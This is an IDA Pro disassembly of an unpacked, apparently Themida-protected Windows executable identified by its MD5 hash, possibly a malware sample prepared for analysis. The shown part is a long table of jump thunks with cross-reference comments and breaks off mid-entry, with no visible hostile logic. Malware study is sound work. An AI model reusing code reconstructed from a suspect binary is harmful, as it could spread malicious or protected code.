; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : CD571D12EFA32E4527021464DDC4C993 ; File Name : u:\work\cd571d12efa32e4527021464ddc4c993_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00112000 (1122304.) ; Section size in file : 00112000 (1122304.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing byte_401000 db 5 dup(0CCh) ; DATA XREF: Themida_:00582DB4o ; --------------------------------------------------------------------------- jmp loc_430920 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43F09Co jmp loc_412D80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421BF0+29p jmp sub_422150 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_432540 ; --------------------------------------------------------------------------- jmp loc_420EA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004119B3p jmp sub_4119E0 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B29Dp ; ___:0040B2AAp ... jmp sub_403C50 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FB90+34p jmp sub_40B0E0 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404CC0+616p ; sub_404CC0+6D5p ... jmp sub_40A110 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42B3F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_4135E0+3Bp ; ___:00414C00p jmp sub_4156D0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_430B30+6Ep ; sub_430B30+8Ap ... jmp sub_4342D0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:00430212p ; sub_430B30+3Fp ... jmp sub_434150 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423A40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D210 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B0E0+3Ap ; sub_40B150+1Ap jmp sub_433C70 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E760+37Bp jmp sub_421D30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C1A0+8p jmp sub_40C360 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_432BF0+5Ap ; sub_434A00+50p jmp sub_432BB0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43F07Co jmp sub_41C710 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416FAAp jmp sub_41FCD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40C040+32p jmp sub_40C200 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416FBAp jmp sub_418390 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415920+6Ap ; sub_416380+32p jmp sub_4162C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E760+161p ; sub_4224E0+3p jmp sub_421B50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ADE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421D30+3p ; ___:004220FFp ... jmp sub_422270 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C4E0+43p jmp sub_40CBB0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_4292E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_4075C0+Ap jmp sub_407660 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4246D0+23p ; sub_424870+6p ... jmp sub_4245E0 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_431EF0+F5p ; sub_431EF0+14Fp jmp sub_4340E0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4344C0+C8p jmp sub_431C80 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043F174o jmp sub_42B0B0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43F0A0o jmp loc_41E3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418430+D0p ; sub_418590+2Dp jmp sub_418B20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_410030+8D9p ; sub_410030+990p ... jmp sub_411930 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:00430626p ; ___:00430694p ... jmp sub_4321F0 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421E50+9p ; sub_422340+18p jmp sub_4224C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40AAD0+58p ; sub_40AAD0+82p ... jmp sub_40ACC0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422B40+3F1p ; ___:00423BA6p ... jmp sub_419BE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416110+7p jmp sub_416740 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415600+5Bp ; sub_415F70+11p ... jmp sub_4161C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_42AF20+58p jmp sub_42AD90 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421970+1Fp jmp sub_421DB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_4220B0+11p ; ___:004220D7p ... jmp sub_4225D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421B30+3p ; ___:00421E9Fp ... jmp sub_422010 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_4144D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_428210+3p jmp sub_428240 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415B00+11p ; ___:00415B27p ... jmp sub_416570 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_434600 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421C60+5p ; sub_421D50+6p ... jmp sub_422250 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416B5Bp ; ___:0043B25Ej ... jmp sub_417B60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404CC0+6Ap ; sub_404CC0+1AFp ... jmp sub_412A40 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43F074o jmp sub_4193C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: ___:00432D16p ; ___:00432D23p ... jmp sub_430770 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42F6C0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43F15Co jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423D9Dp jmp sub_423860 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_433240 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:00415178p jmp sub_415A90 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41BA50+F7p ; sub_41BA50+10Bp ... jmp sub_409F80 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_4099F0+Ap jmp sub_409AE0 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4134A0+55p ; sub_4134A0+94p ... jmp sub_415860 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425100+18Cp ; ___:00425F7Dp jmp sub_4236F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414C8Ep jmp sub_415600 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_4288F0+3p jmp sub_428920 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43F038o jmp loc_4119B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415ED0+11p ; ___:00415EF7p ... jmp sub_4166F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418C10+23p ; sub_418E80+11p jmp sub_418F60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418B90+3p ; sub_418F90+54p ... jmp sub_418DE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_4096E0+6Ap ; sub_4096E0+103p jmp sub_409980 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_433B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413E4Dp jmp sub_413C40 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A2E4p jmp sub_41B0E0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4134A0+88p ; sub_4148A0+BFp ... jmp sub_415A30 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_430770+7p ; sub_4307E0+19p ... jmp sub_434BA0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DBF0 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:0043239Ap jmp sub_431D40 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_407230+11p ; sub_4073C0+1Fp jmp sub_407460 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_403720+3B5p ; sub_403720+3C5p ... jmp sub_403E50 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421D10+3p jmp sub_422290 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C330+Ap jmp sub_40C3F0 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_403720+1Dp ; sub_407080+1Fp ... jmp sub_403CC0 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413344p ; ___:0043AC8Cj ... jmp sub_415490 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42C640+3p jmp sub_42C670 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AFE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414C9Dp jmp sub_414D40 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407660+7p ; sub_409AE0+7p ... jmp sub_407690 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_4135E0+73p ; ___:00414C3Dp ... jmp sub_4156F0 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E760+58p jmp sub_420630 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413E70+84p jmp sub_4138B0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00433718p jmp sub_431060 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_407510+8p jmp sub_4075F0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404CC0+9Fp ; sub_404CC0+230p ... jmp sub_40A510 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A870+21p ; sub_40AAD0+A5p jmp sub_40AAB0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40B050 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A510+129p ; sub_40A8F0+4p ... jmp sub_40A8C0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43F0DCo jmp sub_427940 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004335ADp jmp sub_430D60 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_407340+3p ; ___:0040740Fp ... jmp sub_4074D0 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D930+346p ; sub_41D930+410p ... jmp sub_421970 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421BB0+11p ; sub_4220B0+1Fp jmp sub_4221E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42C7E0+3p jmp sub_42C810 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_4077E0 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C200+5Fp jmp sub_40C3D0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_403530+F6p ; sub_403530+12Ep ... jmp sub_409D10 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E760+113p ; sub_41E760+124p jmp sub_421B30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043F060o jmp sub_41F960 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416BFBp ; ___:0043B1D2j ... jmp sub_4177B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AFA0+Fp jmp sub_431240 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418C10+32p jmp sub_418E80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_434860 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415500+5p ; sub_415710+6p ... jmp sub_416130 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BD90+29p ; sub_40BEB0+29p jmp sub_40C040 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E760+3E9p ; ___:0043C4ABj jmp sub_421BF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4145A0+BFp jmp sub_4152E0 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4165E0+Ap jmp sub_416920 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416C67p ; ___:0043B173j ... jmp sub_4170B0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418430 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416D30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416F1Fp jmp sub_4180D0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414760 ; --------------------------------------------------------------------------- jmp loc_430320 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_410030+387p ; sub_41F030+21Dp ... jmp sub_41B7E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416F5Ap jmp sub_418280 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409570+8p jmp sub_4095C0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_4096E0+A5p ; sub_412C90+21p jmp sub_4098F0 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404CC0+382p ; sub_41D930+5AAp jmp sub_41C130 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416E6Fp jmp sub_403720 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418CC0+23p ; sub_418F90+11p jmp sub_4190E0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424920+Cp ; sub_424920+3Ep ... jmp sub_424410 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_430960 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404CC0+85Ap ; sub_404CC0+AD6p ... jmp sub_40A370 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042FE06p ; ___:0042FE56p ... jmp sub_432780 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E760+367p ; sub_41E760+3D4p ... jmp sub_421D80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_427D50+107o jmp sub_427FD0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424800+18p ; sub_424840+Ap ... jmp sub_4247B0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416220+9p ; sub_4162C0+18p jmp sub_4168D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_432570+32o jmp sub_432D70 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42FE50 ; --------------------------------------------------------------------------- jmp loc_419CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_42AD90+67p jmp sub_41FFF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:004301E8p ; sub_4303A0+2p ... jmp sub_431560 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413740+3Fp ; sub_4145A0+40p ... jmp sub_415230 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404690+19Fp ; sub_404690+212p ... jmp sub_409FD0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424F70+B5p ; sub_424F70+F1p jmp sub_424F00 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425100+130p jmp sub_424F70 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416F3Ap jmp sub_418180 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416F0Fp jmp sub_418010 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4316C0+1p jmp sub_431750 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00427201p jmp sub_427740 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418430+71p ; sub_418430+BBp ... jmp sub_418AF0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A180+7p jmp sub_40A1A0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004329C8p ; sub_432A20+2Bp jmp sub_432BF0 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_432570+1p jmp sub_4327B0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4208E0+37Bp jmp sub_421CD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414430+5Bp jmp sub_415100 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_415490+29p ; sub_4155B0+29p jmp sub_416030 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00437232p ; ___:00437242p ... jmp sub_4370F0 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4134A0+5Fp ; sub_4134A0+9Ep ... jmp sub_415A60 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B600+62p ; ___:0040BAC8p ... jmp sub_40BF40 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4313B0 ; --------------------------------------------------------------------------- jmp loc_42FF30 ; --------------------------------------------------------------------------- loc_40134D: ; DATA XREF: ___:0043F1A8o jmp loc_42C690 ; --------------------------------------------------------------------------- jmp loc_42C5D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416190+8p jmp sub_4167B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4134A0+71p ; sub_4134A0:loc_41356Cp ... jmp sub_415A10 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418430+AFp ; sub_4190E0+3p jmp sub_418BB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043F104o jmp sub_427D50 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B600+39p ; sub_40B600+78p ... jmp sub_40BF70 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_426A90+29p ; sub_426A90+38p jmp sub_4269A0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A600+1Cp jmp sub_41A640 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043F164o jmp sub_42AF20 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408C9Ep ; ___:00414551p jmp sub_414300 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418590+72p jmp sub_406C80 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409E00+7p ; sub_409F50+7p ... jmp sub_40A7E0 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43F080o jmp sub_422B40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413BB0 ; --------------------------------------------------------------------------- jmp sub_42C640 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418A00+11p ; sub_421DB0+1Fp jmp sub_418D50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C5C0 loc_4013A2: ; CODE XREF: sub_42C5C0+3j jmp sub_42BB00 ; END OF FUNCTION CHUNK FOR sub_42C5C0 ; --------------------------------------------------------------------------- jmp sub_42C7E0 ; --------------------------------------------------------------------------- jmp loc_42FEA0 ; --------------------------------------------------------------------------- jmp loc_414B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_4072E0+1Fp jmp sub_4073C0 sub_4013B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013BB proc near ; CODE XREF: sub_4257F0+47Fp jmp sub_4253C0 sub_4013BB endp ; --------------------------------------------------------------------------- jmp loc_42FAA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C5 proc near ; CODE XREF: sub_40FE40+3p ; ___:00416BEBp ... jmp sub_40FE70 sub_4013C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CA proc near ; CODE XREF: sub_426560+Cp ; sub_4266D0+Ap ... jmp sub_426520 sub_4013CA endp ; --------------------------------------------------------------------------- jmp loc_40D3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; 